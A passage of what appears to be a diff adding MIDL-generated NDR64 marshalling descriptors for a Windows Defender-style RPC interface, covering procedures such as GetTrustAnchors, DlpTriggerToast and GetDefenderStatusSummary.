FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2302_t __midl_frag2302 = +{ +/* **Struct_4918_t */ + { + /* **Struct_4918_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4918_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2303 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2304 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2307 + } +}; + +static const __midl_frag2301_t __midl_frag2301 = +{ +/* **Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2302 +}; + +static const __midl_frag2300_t __midl_frag2300 = +{ +/* ***Struct_4918_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2301 +}; + +static const __midl_frag2297_t __midl_frag2297 = +{ +/* Proc228_ServerMpRpcGetRnBWFPFilters */ + { + /* Proc228_ServerMpRpcGetRnBWFPFilters */ /* procedure Proc228_ServerMpRpcGetRnBWFPFilters */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2300, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2291_t __midl_frag2291 = +{ +/* Proc227_ServerMpRpcDlpTriggerToast */ + { + /* Proc227_ServerMpRpcDlpTriggerToast */ /* procedure Proc227_ServerMpRpcDlpTriggerToast */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2287_t __midl_frag2287 = +{ +/* */ + { + /* **Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2272 + } +}; + +static const __midl_frag2286_t __midl_frag2286 = +{ +/* *Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2274 +}; + +static const __midl_frag2285_t __midl_frag2285 = +{ +/* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 +}; + +static const __midl_frag2284_t __midl_frag2284 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag2283_t __midl_frag2283 = +{ +/* **Struct_4778_t */ + { + /* **Struct_4778_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4778_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2284 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2285 + } +}; + +static const __midl_frag2281_t __midl_frag2281 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2278 + } +}; + +static const __midl_frag2279_t __midl_frag2279 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2278_t __midl_frag2278 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2279 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2277_t __midl_frag2277 = +{ +/* Struct_4778_t */ + { + /* Struct_4778_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4778_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag2281, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2276_t __midl_frag2276 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag2275_t __midl_frag2275 = +{ +/* **Struct_4778_t */ + { + /* **Struct_4778_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4778_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2276 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2285 + } +}; + +static const __midl_frag2274_t __midl_frag2274 = +{ +/* Struct_4838_t */ + { + /* Struct_4838_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4838_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* **Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2275 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* **Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2283 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2273_t __midl_frag2273 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2272_t __midl_frag2272 = +{ +/* **Struct_4838_t */ + { + /* **Struct_4838_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4838_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2273 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2274 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2286 + } +}; + +static const __midl_frag2271_t __midl_frag2271 = +{ +/* Struct_4886_t */ + { + /* Struct_4886_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4886_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag2287, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2270_t __midl_frag2270 = +{ +/* *Struct_4886_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2271 +}; + +static const __midl_frag2269_t __midl_frag2269 = +{ +/* **Struct_4886_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2270 +}; + +static const __midl_frag2266_t __midl_frag2266 = +{ +/* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 +}; + +static const __midl_frag2265_t __midl_frag2265 = +{ +/* Proc226_ServerMpRpcGetTrustAnchors */ + { + /* Proc226_ServerMpRpcGetTrustAnchors */ /* procedure Proc226_ServerMpRpcGetTrustAnchors */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2269, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2261_t __midl_frag2261 = +{ +/* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 +}; + +static const __midl_frag2260_t __midl_frag2260 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2259_t __midl_frag2259 = +{ +/* **Struct_3108_t */ + { + /* **Struct_3108_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2260 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2261 + } +}; + +static const __midl_frag2258_t __midl_frag2258 = +{ +/* **Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2259 +}; + +static const __midl_frag2257_t __midl_frag2257 = +{ +/* ***Struct_3108_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2258 +}; + +static const __midl_frag2254_t __midl_frag2254 = +{ +/* Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + { + /* Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ /* procedure Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2257, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2248_t __midl_frag2248 = +{ +/* Proc224_ServerMpRpcGetDefenderStatusSummary */ + { + /* Proc224_ServerMpRpcGetDefenderStatusSummary */ /* procedure Proc224_ServerMpRpcGetDefenderStatusSummary */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 